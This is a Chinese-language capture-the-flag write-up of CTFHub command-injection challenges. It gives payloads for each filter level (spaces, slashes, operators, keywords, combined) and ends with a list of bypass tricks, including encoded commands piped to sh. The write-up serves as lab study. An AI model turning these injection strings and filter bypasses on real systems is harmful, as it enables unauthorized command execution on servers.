命令注入 无过滤
考点
属于是纯纯的命令注入
思路分析
构造playload
127.0.0.1|ls
发现一个数字串挺长的php
构造
127.0.0.1|cat 18930164348325.php
提交了[1]没有东西
可以构造
127.0.0.1|cat 18930164348325.php|base64
然后base64解码
或者不加base64
查看源码也能得到
playload:
ctfhub{af6df24d6b085066d0dc46d3}
过滤cat
考点
过滤cat 找个能代替的
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
做题过程
和无过滤类似 仅仅替换了cat
就是用playload
127.0.0.1|ls
127.0.0.1|less xxxxxx.php
然后查看源码即可得到flag
空格过滤
考点
就是过滤掉了空格 找能代替空格的代替就行了
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}
来代替空格
127.0.0.1;cat${IFS}flag_64402731720130.php
其他过程都一样的
过滤目录分隔符
考点
过滤了目录分隔符 / 那么我们就 cd 命令进入对应的目录。
过程分析
多了个 flag_is_here还过滤了/
playload
127.0.0.1;cd flag_is_here;cat flag_585519785529.php |base64
其余过程同上
过滤运算符
考点
运算符替换
过程分析
过滤了 | 与 & ,使用 ; 分隔命令来代替
file | base64也可以写成base64 file
playload
127.0.0.1;cat flag_297281061019145.php //再查看源码
127.0.0.1; base64 flag_297281061019145.php //再解码
其余过程相似
综合过滤
考点
各种过滤的综合使用
解题思路
综合过滤 考虑各种绕过
%0a
代替换行
%09
代替TAB键(因为flag被过滤了,所以通过TAB来补全flag_is_here)
%5c
代替 \(用 \ 来分隔开 cat , cat 也被过滤了)
f***
代替flag(正则)
查看目录
127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
查看文件内容(查看网页源代码得到flag)127.0.0.1%0acd${IFS}f***_is_here${IFS}%0amore${IFS}f***_4626112191746.php
base64输出flag 127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_4626112191746.php
最后得到flag
ctfhub {cc9763fdb4b20c3a71891f39}
关键字过滤
方法一:特殊变量
$*
$@
$x (x 代表 1-9)
${x} (x>=10)
在没有传参的情况下,上面的特殊变量都是为空的
ca${21}t `a.txt
方法二:反斜杠
ca\t a.txt
方法三:变量替换
a=ca;b=t;c=a.txt;aaab $c
方法四:引号
c‘a‘t flag.php
方法五:编码绕过
Base64 编码绕过
root@kali:~/# echo ‘cat a.txt‘| base64 Y2F0IGEudHh0Cg==
root@kali:~/# echo ‘Y2F0IGEudHh0Cg==‘ | base64 -d abc
方法六:十六进制编码绕过
root@kali:~/# echo ‘cat a.txt‘ | xxd -p 63617420612e7478740a
root@kali:~/# echo ‘0x63617420612e7478740a‘| xxd -r -p Abc
方法七:通配符
?
*
[…]:匹配范围中任何一个字符 cat fl[abc]g.php
[a-z]:匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
{a,b}:对以逗号分割的文件列表进行拓展 cat fl{b,c}g.php
命令分隔与执行多条命令
1.&
& 表示将任务置于后台执行
2.&&
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
过滤bash?那就用sh
sh的大部分脚本都可以在bash下运行。
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh